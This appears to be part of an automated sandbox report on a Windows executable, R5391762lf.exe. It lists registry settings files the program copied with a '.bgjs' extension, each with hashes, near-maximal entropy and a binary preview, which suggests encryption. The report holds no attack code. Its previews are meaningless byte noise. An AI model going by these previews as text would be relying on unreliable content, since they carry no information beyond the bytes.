File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97812759939218
Encrypted:	false
SSDEEP:	192:uNCWkKX7OHRhUAfmffgTcev4NG/jboVDbnE+PEOIpYC8f4f4v3Q:u/7OHTeoTcg4c/jbSn/pfvvQ
MD5:	3F3BE9F2DA2BE8D88240CB804EE15E42
SHA1:	9917112D73CBECD4B1B3EB848F6BF6EB353407A2
SHA-256:	3F7B9B94228720DA8B2042A7B09DA1D55C8DEEA11107640612B7B2C864A136BE
SHA-512:	BC4B1711A70D134025BCC3F358BA050C51572A85B030CB6E8CAFADF8DA3A334C737879A3B480A51D35DCC90939417906FFF976118C549001F0F53BBCCAB02342
Malicious:	false
Preview:	regf.._&A..v..4..q...Xy...V...S.....N\.L..;.%X;.\|.R.O\|......f.A....F..27...E.w.....E..........u1 Y..X..Q.g.u7[.l...}.].._...6..O..z...Rj.N...a..2.....3y7..D.y.r..wt....m...............p?.,,....m...y".yN.F..h..fyj6..(.$o>.D.....U.pk..<..P..Vg......^FC'"Py..Z......GF].J..rM..A..D)....e.c...VT.P0...J.[...$.\|3..E.G....~....r..4..c.\|.0...n..l..v...._e..R....("e...X....... .x.fE._%B.x+..._;.p.......Qh.7.LT.Y]..B..M.N8.:x.....m.$c8e..x....../...........;Ue..N.e....e..XB~.D....a.U..D..a.Ms.kr..$....N..Q...2b.S......v..6k..._..d...]-q..?..>.9.Pm,..9..eDj*...8...=...?.j...dh...F".N#.J.f;.e.....#n.."EYd..b._-.4.+...)...V%dn...8.y$..A.....R+r......7..J.A...K...uI..e3....1..^..P..B..:.......?.{...x..h.gr..^.1....Y...^..s...g..=.Z.c.?E..J;..]..,.-..l....0D...U.(b..&..... ...0..9......%9.RH1.h.......a..[.1..1...4..._..R...02o..EK..b{:J...A.............{4o5.u{.W&....8.....<....5.g:.`e.K.:.eQ......?..8#.....S.L.Ok$.\|..0...G.K...<9:.J..+..\.r..hM...

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978519758748294
Encrypted:	false
SSDEEP:	192:EoQrNbogaarq7ZUBnbZV46xHzH8T4v7tFsXlOjtYkvXQ:EoQrNOaW708QTcT4pFEgZYkvXQ
MD5:	BAF99355BB1FB3E51899B4BF62DA527E
SHA1:	C24022CF85F6100F61A505BFAE32857AD7FC3676
SHA-256:	AAE828FD46A3B36B10C9E163F313D0B770381A7852062F7C7BDA4AB8462C2FEA
SHA-512:	5E654B4D51F5B260E3CA3E22DF99F59AF038DABADEFB7CF9FCF20384E473696A92E46C2D66363590C7597A6F36A4E102DB91D040E4F22520F30E27545A0614B3
Malicious:	false
Preview:	regf....!..8....3..5..B....^.. ..."s~.....1....z%..T...sY.........o..k.}...s..sxG...j..x<.......`L..eQq{.d.A..g.f......M.iK;.iw..U..>..U.....P..T/D.-...f.K....i..B.<k.M'....\|.&...%.].d.......o/...O#..r#...'.}0.k!...1.......U.n7.V.1.5V....{1..=.........V...B.....I...C..!.../S.=.c'....\|........m.x.N.cD..@'.0`!..=.P.4.SZ....MaXF.q..{%..S,....y../T...I\|.V$./..o.;i...Z...&.P...z}fq..S.Te.C,k1...o.-.V...B.z!?.y.S"..P....I.....w...Uq.#.G...i..\...;...\|.G.;../..1......+hS.C.v`...M...S...+C..w..C.Ek.W..8...t..i.R........G.(.\|......j.vG.}.Po....).N.+...zd.;=V-..A....l.'r..U...J.o...z.N...y"S...O..5...x.Q[..\|.....p...j..U..!....>.".._....Jg...l.q{...U.)..v..S.V.O.o......3L.0.L.\|O.UJ......_....Q..h....B.....%....#N.0..s..O_.Z......X....4h...<...1...w%....../.......a...v.6.$`p.$3f.%..U...T...G...Q....p.\|..N..D..ld.....f.....nD.;@.....\x\|...\|I.f.V.j6...$X..i........}.K..=."........?..`.M...!..@.q.Y.l...^.~ .............t..Y.l....2,.c

C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976570463602185
Encrypted:	false
SSDEEP:	192:1LZzT9YcXuRVoZeimy1VQtpR6IsjGGCT20BaZQvtpMLD9Wuxh/PiQ:1LZ3/Mim0e3ujGzVaen1y/PiQ
MD5:	A14CCF35A3573F86C1409EF2FFA9DCE3
SHA1:	73A18F9C358D1056FC05D60922B8373643680A27
SHA-256:	462216807F97C20B2EF56FE170433F28A0FE0C17CA4275F188059CBA25FC6F58
SHA-512:	8F73DEFAE4BDD6AF771F5424D8D809BEF2F4449FE111C24A4B95382099ED472EB59EC06DCDAF9498FC10E4012FD25F852BC9B0CF86D2BDE1E6C1680A3B2419ED
Malicious:	false
Preview:	regf.......V..............Z.q...'6=\|...".......^?.2t'..\.I..!...k....)....u.._~...W.j.^W.......T~...lx#dY..^..9.4.c;..h......O8...'J%..B..........\|W..f.pL.a.o{.....r...qT....i..Xy..Sx.d.41}. ...o.....O..v.....7....~.V)B\|.T..1d.N..\M[W.\..U@Ngk..[......0....,.-%.@..J.mM.y1..\...".p.aQ...c.\.8..(.FTN.l..T.'..le.W,Z ....\e.....J`.$.G.&..#.bp.@...+.0...c.vs.....Es..M..'.Ad..}P.#f.T.m................V[.......h......e..-.wnH....L..Q........9.....6.K.j.7.)..q.4w.7..&....&.Ysw8.....&o+.$k...DM......6.ew.Q.%x...u.9..qB..._...{....M.s.^...H.u.E^.~:..n_e....u....f.....F.(...CW."w.j>..#Hv....Yh..l....\m...._R...#...:..q..I;....kMh.B...."X`l@.R...a........<.I.....$f.7.6.=3.t..f...!.{..+..W.5II.....\|..M.R.zK..m...;...<..2Kh...~q..x...........!s.!..}@..)7..x$R..\.;H.........$.................b.......(.L..1}..&..I....}l....)s,.e.PJc.>..j,....G.5.{.Q.!.j+.g]yg......;..9.../.c...g.H.%L..X[...1.\|.E&.O......<....s.j.b]J@.:m..v[\|.7..z.&.RMU}

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979268429063643
Encrypted:	false
SSDEEP:	192:foi3wB832MfV5y1LTihFB8gSPK6yOAK7Zc5xC5O0EqcO09O6oQ:wOVLSTih78XK6Rc2Y3pO046oQ
MD5:	9991C6613FB1BE661E112BAAC6A3B956
SHA1:	9CBDC362646E9F363ABE939200DBAAA785B43F9C
SHA-256:	6B50AA2BC518901FFAB816C0FE3EBCC5BE5FC469A67627C6927D43F90C448B6A
SHA-512:	13AEBC95430858AF575B69251D3B55F9A62E8CE03D6464E7E4E2995D25CBB7905C59ECEF9C09EF7F72F73C63986C0E70243E24EBE27D15C67FE858D813059EAA
Malicious:	false
Preview:	regf.[.b.U.?..#.R..`#]-.....w...q[..(.E9._-.iSV........]./..mk....]/4....x.>Q.>9.+.jZ...w...5&E..n ../.v.Y.....#.....t..+."..+._(.(..Ym.P.V/Y.u...(}R.c/..hc.%...v.}....R..+......62.....&..8q9..5.{......7i.G.3?...#."..r..x..\.Aj...g.@...m.z..~.B.\1.c.wZ......4..;!.G;...zQ_..'.< .+..X7.":........L..W......o...3.B........b..nK.....(..Xcf.<.P.:.zw..u_"..[..F....s.D...6.........3.D.t........i\`...j.R..N...l...&...N..w...Vg..OwZ..$q.....g....6.......e.e0%...n.h..P.$....)..'.o...V.....y.ez.^H....9...U.v...Bw.>.U.....#...q.w....=.....z.~t....NR;&.....=5.qz.l1....I..Lq..... y.d.?FZ.Y..q..D:J_%L....D.n@..+?i&.6.zT..0...r`.E.~CZZx...'..D.x....7)...>.w%r....N.`...k6....D...y.6?.q;mW..y^.H....C..[....n_.cVK3..GI..-.....Yx..M.......z9.{-S..P.I.....q.WC2.$..`.<1(.x....l..0.Sm{6PbF..QR.Rs..r......Kjo..m.4v,.>...:z&..o.=..[Y...J..B.SS..u.......i.N..j~........u......\.aP.:...nZ.eT.p%P.+GJ..>.].W ..F..[.'.T......z.`=.c.t..}f....s...JKGe..nQ...-..+B.\|.O

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977119348870492
Encrypted:	false
SSDEEP:	192:+6H5YKt95qoONmhzA24234KPLdpNEPL+XVMkVQ:r5Yo5qoONcA2jxXoqXVDQ
MD5:	C1DC2B3575657F9E0AE642910565A4EC
SHA1:	C1B94DE0DE91F4F3DBE545DD14657104D257320E
SHA-256:	2E5B5043E20B5EBAA7EB04291B784D8C9DBEE44D846BC02D12BDA1BEA255DD2A
SHA-512:	86F499AE2712B79E70A166E122F9A7E3580B47784A8B38655F736B44905BB005F4E886F962E847E32F59486C354E57BF05E4A119FF9BAACB903E4224B14FD340
Malicious:	false
Preview:	regf..6.C..;A..q...{...).........a8_..in.j.2......".n.ke..82hI.....9;.0}._...e..z.`....-6.`s...@..x.K4..Hc...D.Z.>...... ...5..7.....O.......9...NC.Lvk.,.M5o9%,.?...&..> .1..p.3.a.....d...$.u...J7P...w..j2.ru.A1L2........3."{Rm...b".{.l.93.&..$.HM....T..[.f..x\....o....K...s..eo.I@`..?..0.o.<8o.XY.%.......O.;.J.....A~.Y...P......S.s\|......."...2a.....&}+.}....p.s.8.....S3'W........Y^..["...`......=.?a.l..bR.&..4..[..7.h.Y. ...#.B...:...`.......8...m.%)v...9eZ...J...7.S..(4.{f$......5....n0.....G.-..F..j0...%F.K.7.T.4:>........S.'.........Q.7<...\.96..U/L.O...i.C2..Y..#^.c./f..su.......\.7-.Z9....$!.9..\...2E.@.JJ(...8..N..C9...~....%.B.:x.m5...Y...........9.].J.6b.5......U'..:...m..#........S.d.M....EZ.....}l.....a.^1.t%..i[..~.\.....T0../2.V....X.%c.....z.o\|Y..3A`.......l.'.F{.xDe..!8;.! .M.,<j.c...u..5...3..J...H}./..@8...wi;.'..I..p..e!.q..3.ms.....+....$..{.Ajy6.Q.~]F..`..;.1..F.4Q.8....v.>}. .Ci...:..N.81&W.@..~.....q1..P^......\|.gZ

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980177051101344
Encrypted:	false
SSDEEP:	192:EZNwyZcGphmHNowb3p/5hvSocB9yMmNOHVQ:6JphmH53pbvVOlHVQ
MD5:	B67CC261427F60B9E7EE8CD0E71EF36F
SHA1:	546136A976047A2ED221CB436057D00B7F50F476
SHA-256:	92D339DE263245384F034A2EB7107B8D7AB5F5C2BA2CF869DD8002F9D05EFFBB
SHA-512:	1BF4FCACF19760AFBE5E7DAE1CCA2D5D8A60E01C62BEC05DB61CE204A5A574A069F2B75A582E175D032161920F22C9219ADCAC0F7379D4F98536163F82BEF061
Malicious:	false
Preview:	regf..s..;B2..])......Q.L..H....K!.e-.2.0.E..Y.^?M..p....FU-dE\%M..=[..?......E...H...K&/Q....&.&.e....{....H.q}...{...n...=.v.#..&.[.l.n...A.Y...]...E2zk3X.R2C....K......~.o..CJ.jk..R.9u^....:...2~..6..s...n.xT.q5U......@'qr..Cl.v....:K.c5.u.q.k`Pk.....{...8~u....5C;.<n\..!..7.3.H.!..s`....?......<.q. .......{.c...;.d..8..A.......je.#T.d[.Z..}.i..X.o.......~.%.!C...AH.gf.q...B.Q....X.....v...m..C.#qM..."...v.9d%.W.w.!I..;.`>..Q>........D....kZ..oB=.7...8^.$...&VQ^l......_.&..?T.....1.......3..7..uq...^..>WKY...y.5...T..kQ.p...=..`......;..?..&.1J;.r......+.CJ.."B..Tr.......s......W.?....OZ...1.K.A#..j.p)......H........T...QZ....;../.dap...V...;..u.h,.*..B.:T....x.0.....$.V...0.o.=.1~.6........j7.k...H+...xv.v.H.X.....w..:p..#\^H!....e...K.]%..T.\|u:&M...8.#ni...I.z.t.Hm.GO..........xb.@.....Z.np.Y."...BA.er..<O.l..9....=....g^.]3..3.i`....:.....X....v..yw..z......K.m.q...Y..c.#0.W.O.3.G.]ooM{:4@......IT.....g6.....tW...-.C.if

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976264634906751
Encrypted:	false
SSDEEP:	192:PybA5GykGipQG9eIfeXPqt6m4sNm4w0kjz5rAhIQd3Q:Pt5GZQs7Ht6l5n0kjVPQd3Q
MD5:	7FA47CCDC042AB7691C8978ED938C3CB
SHA1:	D0C14863ADEF87AC8C3024074337E125BDD7F782
SHA-256:	D053A96E5D22DAC77A3AD25CC0C22EB70DFFA5C757BCCE0978339C0100106A3E
SHA-512:	D394397E715ECE89E5BD275CE9E030D98D1671CCFB5923DBD0B7FF15BFB52A3E2114BD201B57397CD3D335B166A9AA25FC658A9680344E5BD5E526DEA648C5FA
Malicious:	false
Preview:	regf..A9u.d..(....y"6C..#.o.......f....1F.w...GY/.....@.....'k..R..../...gcaX..\|^...Wl...\|..t..M.Ac.[:uk..q...%..6.[..@.z...\s1...+.}!.-F......9.(.sl....P..kF........).....m.,.7...a.>.{..n.......X.x!b..)c?kS.Z..`L].-.R ..Y...;....(7.S./.a.(...l.#...}~....b.?Nb<..[............\]p..K.<V..6. '.@4........^.0.e...tO&.^&.=[\|.........z.w......@..#..._..M.n.w.y.......A`.]....lw.9R).vg..x.I./r.#n3B@~d&X.Q...'...i}.0u....E..\|..........j.(..JI....M.{G^W...'8+..J.....a`.c.e..}W....\|Y..\|G..X..>.u.V\|"%V..+.).7F..j..T....X9..ZE.>...M.).....ji.wLo....o.....'......y.m05.;3...0H.u ....N..Nw.2...}....Y@lL.A....5.jU.........=....Tt....y"r...L..........v.g.r...8.....i.N.YO.A=7..n)...%....w.e..A.R..Su...).% .H...x...4se.b.ka..#...3......i._..[?..D.e.2...qhz....AE...\|..6.._.. ...a.Sa...S:..f.1.....jS....L..iE.....T..._5&....nX...v$.~.v..p.8..H..+...L.%..s.....p."..pJ..m..\.t....jip:.}.,..A...:K9....A..x...&3y!.r?CM%./...j.P....(.~.........."Oo.A.4C..:w.'.....9..A

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977058247977933
Encrypted:	false
SSDEEP:	192:qKljWKUQdawRa7CouHRbRnv5aer+Ps/hxJ994qNWIFRz/KcBXePY5FQ:qWjWKj5TdVnv5x+PWvfFRz/jXD5FQ
MD5:	B3AD27CC0CA3DB5C4B805619270BE878
SHA1:	DF4872956527805BFE8E33589A8AF04548F5E62E
SHA-256:	5647191D4507F7D59344ADBADE8EDC7D724B809F56DC9B8F6B8EA08F01B7F19B
SHA-512:	1FB555A8CD683EEFF3A3960734C531BA93490D3CF040BACBE1ECF3B42C47FF4EE258857C4991603BA1426D9BF60D600962396FF4A6497FFC2D35CDE19B4F98F5
Malicious:	false
Preview:	regf.;K..6.Ec./H.2..".Kf..5/._.{;^.c..bR#4U<[/r..."..m..I..Pf...m..1UM...;G4..l=UM.$\.3...q....B.u!T=>..mK.h.:.]......] .U.=Q..._..1......=.[>!k...t=.1.zW.../7.8yLsj....u.O....aWJE..+....!I.f..r...s#..E.$.r.0.......A...a.n..g..g....@..4a../.P_......l..m%..=.@......s&.."......x.....D..(..6.d.c.{....Y.'..]\Y..R/.$&v...+...\|0..%}..ui...]5..\|_..=a...~;..(u..=s...v&D......hNp.m...!...U.v~.i..q.}.....i...y.j6.g5:........Y6T#.Bl.#..br....y....SKr.U6..!pe;.n.\|e...`=g...d.........q..].!2..V:e.r...D......(;...<.(..A.....v^..N.'.n..,..&.M..~=?.Q.;.....j. XE.Yfd.8.....X......{........U.z..g..p3,.........q..,.[6.8..).? .9\r.7?[..s(m.....U.....).nb.....r.DJYJ.~....Y.b.j.6.....O....n........S.}../...Fl1m`&...vb...d..N*......]....c..C..p..`7.j..:.M...?.."./...,r...E.\|1...............<#...H........3~....X...^V...cL?......R..)x..s.7..O...k.:...,.R#.!..E..=.l.P...D..Af. e.:./+..<.6....M.Sw....T2M..P...q.<I.H...=R.C..c.pK..w..{.'..m.g...-.B`x

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9763915283860385
Encrypted:	false
SSDEEP:	192:3nWGWHXCVMJUNiXl6NFxxpChyfhRt4FkPqEzlsWJQJ6JztESlXjptQ:cFJUkGDCgfhRtekPqMlBQJ6JfLtQ
MD5:	AA4A6EF31F89B818059CA6B9F834E891
SHA1:	B69D9602609952A34056CD5F928314DB970391E4
SHA-256:	E651DF35C468EBDC3C1DA6BB6FE3A0EFE13B9602547DDE8058B332D46A377FDD
SHA-512:	DAC9174A8CC70A44B7D78928FD04C346CC07DF59F73AC21FF58E14963733268CFB5EA4D91F778A74AD60BF5E7545A9A0FB672FA18577C567F980F9224DE1E829
Malicious:	false
Preview:	regf...9...~..W.....+.G......3.9......iD.73z...B...?E...........).H.3.W...M2....}q=......uD...?..../.q...T..w..t.V...h..4..t..qty....d...G^...$C$.3......M.e..;.S.b....I..._.........<N..}..0...=(...~....s..x..F.%.WneD..}.....PO...9.D..K%.i$v.....{..Qky?...s=z..#.M..r......e..I'.o)D..}+...;.S.YQ..=.....R..$.x..Ckkc..hMxR...'.3~....4..z...;...r.le..n..PF.z.\s.H......C5\...!...qR-.I.s...8...s..9........D.00....g.'9..{q..8w....n.+...i.J......O.........W<D./tyo.'.d...l.\,fb..;.U..<...".?.H.h.D.....:.>c.xVV..w~..,/k./U....=J..Q..\|...o./B../... .gP...~:.D ...Y2...C5......P..?DOQ....e...ig.,...0+"..."_"L...8......E.ym.....oO..H.<.R.".D+..3.......?......$.6.K...UV.....9k%...!...H.C..e..X7ZDL.....+/.oyd... ...q.....9.!u.T.2.Z.7:Ab.....I...>..XK`.....,....D(.s.S.u[^.]...........:.X..+.,...+.BMjX.K.;.............s.V...b../...6W$ju.V...h>6...L..I.?.md.W...i9.5..vwQI..`JS.p..W.z}6..zh.4}o.K..r.yK...p......._..J@[S..1o...........M.....fI..%r.Q......

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976206444546506
Encrypted:	false
SSDEEP:	192:3G5T+/h+PTvne4sd9odxkpD2x12tMAZ5J7Z5UDd26suNQ:W5TdPDn9sdedxkp6x1eZ55y26xQ
MD5:	BD86BD96987D64DA02B9023EA7BCE395
SHA1:	E47F7A02D0C902A766206608F9EBD8811C66D7F7
SHA-256:	5314F550D179496A26149B780CFE425F06CE7071B3C2F3842C159F4937FAE871
SHA-512:	CA136DA40A3D5D420B4617DF20CC0763019D6ADB7B2AE28B44361728D028C1F8CFD65934B42056E6C2155C942221ABB3DA33EFAE7B97C6E5D580D600C127327D
Malicious:	false
Preview:	regf.....y&U.4.....h.,....G=t....Bo)\|^...s..A...9?.1a.$p.g.....I..]... 2.=y....~./Qu.x..>K.....y...N.-...(7...$...#&.?.Q.".2......u6.......b2......V.N.......71.....V.......G....-...].8....q.D@..O.w.....S.c....A....c..+......g..5. ...{..jE.ih .bq(..T........3.O...!X.m.Q.Z{...+........:....k..AP.@....<..]......;..m....waU,.a...a..<......P2.\..2nt.M.I.%..Vx.n.!.E........K.A.H.)......B.....v...h.\oaD..g..i%......./.hT.E..o\|-~k..r,6]T,..O..........i...w...c.e"....}.DP..?...r..O..^..311.w...U.`......>....\|?..n....?K.......+...W.#..'".q..ld.].gq...PW...%9>i......1...h.@v`9k...R.Sc.TC.Y_.aG.M...j..../..y..1g/...*.Nq..v...J..41..;.z......U.U..d.QP...Sb.Df..'.7.......{..-:@.^...x;...{....j.8<.#.......QS.....9."..b..R.b...eR.@.c...UL.].w..l1_...I. .R..?M&..,t.<.....4..RC...~.. q%u.OG.....L...1.@........L.....w.$..o.".~.B...C..dU?..._..G.....:i.f"`..u..8i.Q.o....u.H.$..[].&a...$.A8.'...7....j../.b.....,.K.\|.[...........NC..j...)3..W.{C...

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976621037057069
Encrypted:	false
SSDEEP:	192:0oNTp+IwYZKyp/huwrT3JagsXf4F7FG8cI2daPK9ODAHYIb3MtyrgQ:j1Z3N5h7rT0jo7FKaP7wYwctyrgQ
MD5:	6FA8C0D32E0B0FE711FF56420380ABC6
SHA1:	318D0C6FFBF8A53458FB675C9185B3707F07CBD2
SHA-256:	F1463EE0D08F22603DFA461A0B96987DD173F5FD925D757C342B59534C1156ED
SHA-512:	CE2202D255B00D329E6DDBBAFF5FE513F1E9D678EEC46810837A338543183B0766079A3BF9D297D3361DBDB687C8169089E46FF12952CF8AD5F2983F23E68C33
Malicious:	false
Preview:	regf.0.I..y0../J..[.0.7[3...h.%.@...M.....`...]T........Du.I..jS.ze...0.<.AT.k.:.6..S.I..o. .d.7.s.6....25..v...B..6^.......K.>t...a.......6...._.85.t6=oO....t.@.>..\........-}.D.(. w.....5....8.....R.e.xy.[L..2......G....D&.b.}...D.....xaf.....@.$./......44....s\|.GW...8e.Y..%/.K..T..W....._.9....Q...6.ny....X5\|...9....X...C..of...nsI..#i4.^%...ejmb.NM.g9....Pk..d.q.{N.(....gS..n.S.d5."7...;.KIWt.c;.).....52..S....n{..E".K.i.....%! ......o.....c.\Jr...........o....I.q.YcW&Q.'.n..^...#...]L........[........aQL.V........i.p`&.........%S..).J..1G..A..?vf..{.......a...&.....CH..YJ..<t..E.....Q.b.?..V.u#.l....c......f.zv.....&....Eg...n@.H.f..n.Z...u...cn]..H\|.oh..,BFOg..4....8b.SY..~...<$9......5Q....j.5c.<[.H<...s-8....WG..<.8.V......].I.A.5].r>..........!......j_...Q....=......0)E...r.e....B@.>..k..x.<.R.h......,..f.....-....<...k.r..@...[Z...j.G..U.........j..%..m....p8.s}Q.C.9N~.~[..n.J.v....Ty....f..s.[95..(.Ls...k..>....P.7z.'.....

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979636797313006
Encrypted:	false
SSDEEP:	192:0pxUMFEvtx5h1LxTvQYTaISxFJ4neBxdrU7VJmD/gN2hbWHfmCKwYIcXaiQaQ:CUMuvn/lxTvTaISxFJZxRUVJmD021WlV
MD5:	ECD65A97673821BBC565A38EE8168499
SHA1:	4E285035356EB6F0B64B0DD3117DCDAB5715922E
SHA-256:	1F1730E288863FDA53DAB3F263323AC469CE7AB6C505DED0FAC29F3EA8BC9101
SHA-512:	B3211031CCF6C887947D299B546849447CDCD21567A8EDEE2B6C1D1FB56BB16A51119B302E477E3B702DBD3B49DCF01AB6D8D25ED5EA50F7CC83FC8745CC6AFA
Malicious:	false
Preview:	regf....f..#8...e:.,.CY.m .....\|S.g..Ba.`..$.Q..NJ; ..4K..L.o!.6......A./ :...T.W.a.Q:.QJZ...q..DU.....0W.`VY..OT....-.]....I:..V..yf.D.....q.#...+@`.....2.rx5xa$<..#.....O....Sb.p.mV.PM.....a.DA.K.....8"..^W....a..[#%.I..L.R.\J..~.FC..0...4..."..Y>F.....#.V......e/(+..Ol `".0/.).Rl......e,.\|.`45..<..H..?J~..a.....+PF....\|2....{..,..Np..$.D.ax$...=t-Z...Q......s.;k#J.%.......G.....O.d' ..`".w7..B".xv...T.D...J..V....3'................Wna.k..iK8!.Qy...[$......j.N{.o..\.o....~uo0h..v....G.~.M^{P.B.h`.\|.LF._.!.Qk.X..[0....]..M...Q@..Q.D..>.....-&..,T.:.;....2.sG.L9C>../.......4..d<U.3..9..q.G.EF[...h\|DQ..+.eFd.MMn.m..T~.%......#W\..,.6.",....F.[~.......{e........q..u$F........<....{.s....y~Y{.8I\@8u...U../...k.RS.....ueeR.w.d.93.....F.L...6.Z.i.........Ig..H:X..6.....xqE....0...@.X...#.L:..{.....a...>p...r. ...p.T...Y.Q.....08s.&..dr..../.P...M..Z..t..^..*k..b^.QO5./..v.K..-<.X:DX..-.b..(.9B./..3i.h.........<Z..2..A.(&km.p{..T....R.....+..

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978541909325536
Encrypted:	false
SSDEEP:	192:4tkwNPqoGGkOooro+wQPHZbVVCYB23bhbznAAup3eibnopQ:QIoRkODro+fZbXCtLhbbBmopQ
MD5:	1A49C110070EA65C33EB083CCC949A0F
SHA1:	EA875172454CED5EBE9489F8B18322B867B9A0BC
SHA-256:	C807D869AFE817E256C64C336F4FE8C6ACB99864EFF27FA7E5706DC37CF0545A
SHA-512:	77A0C733E55437A38D426324A707966A779DA05F82872A1104DB81ECFF53251E4F2C87A271B793A7B190829335D79F78E41057744E05A94BDF95BD0C4E4DA09F
Malicious:	false
Preview:	regf.xK...v?....a6..M...F..m-..&8FS}3.L..D.1.N.....d...;...\=...0...S..u..q....=...:.d.%a...!+.3......[.LO.1...sJW..n.o...\.v..]q..K...g.!.d.MT.N...s...T.Owg..Qa..9..g.......7.7......t.4.soJ.}.`....X0\../P.X.D....p7..P".. b......f..gz.,?.k.[.8p......Q_$.Lb..XQ.@.;......+.~....4Fvr.K..C21.`..M...w>.#.R{\|&n...N..N.....JPa......W..&cMT.G...z"^F..Ba.!d... )E.........O.`..C;..9......s.<fZ/#..).!.._Z...lB;....M....:..I.E...Z..........X.~~...S.3.a)....].5{.... .-.&N.H....qN.{..g.h..T.`...3.\|.....D3@...T.i%.......!V..L......4wH@@&.&.^..U.`p#.r.Cu..@....yu.U.nu.h.7(:.a..U.~IY3.]i...a......h-g,1.3.6.2..0..Z..F...+...k/...Y.\...\|.f{INu....I..7..8.#..._..\|...8_.{.gqhV...6...N..s5dC G.[...L.]..O........p.o.e....M%..YN..](.>D..cc..Q.....6...-\...}....K)..O..u................\........+..w6).......G.!{L.=...J....q.M6W!..:A..&p..5``y.'...$....\...+4..A.."W(..P.f`.%.!..4x9.u...D.x..".*......!....tOI...(p.P.@...F.!..._x6.Z..d....$.5>...H..4.wZ2...f...e..&....]

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980816297558968
Encrypted:	false
SSDEEP:	192:zNSVbcKt7mPc/qKNx7X17xwbDU8LBYhABT0VJfGdpmGBU8zI/6/BECnNQ:c5t6E/qY717xwbDTLQAp0VcFBxz86/NS
MD5:	A490C167093C00BF77727EEED9C4DC03
SHA1:	E2372C5B5649091EC90BB7F6D929D0D78A69386D
SHA-256:	E283312B11B17576F879B5B0340A73DE53C8A7F2F55E5BEBBE20BD4BBF60109C
SHA-512:	0B4FE821A9520752BED9B93F3AE7ACDFD60BC9FAD9BFFECC772C0672ECBDA1013FC579892898CCFF9169DB82F8316CD617EC0218F796E9E218782BBF73D6441C
Malicious:	false
